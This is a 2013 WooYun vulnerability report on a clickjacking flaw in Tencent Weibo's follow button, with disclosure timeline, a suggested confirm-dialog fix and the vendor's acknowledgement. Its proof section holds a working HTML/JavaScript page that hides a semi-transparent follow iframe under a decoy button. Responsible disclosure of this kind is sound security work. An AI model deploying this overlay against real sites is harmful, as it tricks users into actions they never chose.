当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-019063

漏洞标题：腾讯微博关注功能点击劫持漏洞

相关厂商：腾讯

漏洞作者： Sogili

提交时间：2013-02-22 22:24

修复时间：2013-04-08 22:25

公开时间：2013-04-08 22:25

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-02-22： 细节已通知厂商并且等待厂商处理中
2013-02-27： 厂商已经确认，细节仅向厂商公开
2013-03-09： 细节向核心白帽子及相关领域专家公开
2013-03-19： 细节向普通白帽子公开
2013-03-29： 细节向实习白帽子公开
2013-04-08： 细节向公众公开

简要描述：

腾讯微博关注功能点击劫持漏洞,可以让其它微博用户在不知情的情况下关注你.

详细说明：

这个漏洞应该算是对http://pkav.net/2013/01/341.html的一个补充吧,不是所有情况都可以用防嵌入来解决点击劫持.具体看漏洞证明.

漏洞证明：

<script>
var xx=0;
var yy=0;
window.onload=function (e){
var iframe = document.getElementById('xxx');
iframe.style.left=a.offsetLeft-xx;
iframe.style.top=a.offsetTop-yy;
}
</script>
<iframe style="position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;" id=xxx src="http://follow.v.t.qq.com/index.php?c=follow&a=quick&name=jackmasa&style=4&t=1342759674261&f=0#" WIDTH=100 height=25></iframe>
<br><br></br><br></br><br></br><center><button id=a>我勒个去</button></center>

修复方案：

加confirm确认框.


为什么我觉得腾讯不会修复这个漏洞?

版权声明：转载请注明来源 Sogili@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2013-02-27 10:54

厂商回复：

非常感谢您的报告。我们会马上安排专人跟进确认处理，有新的情况会及时同步

最新状态：

暂无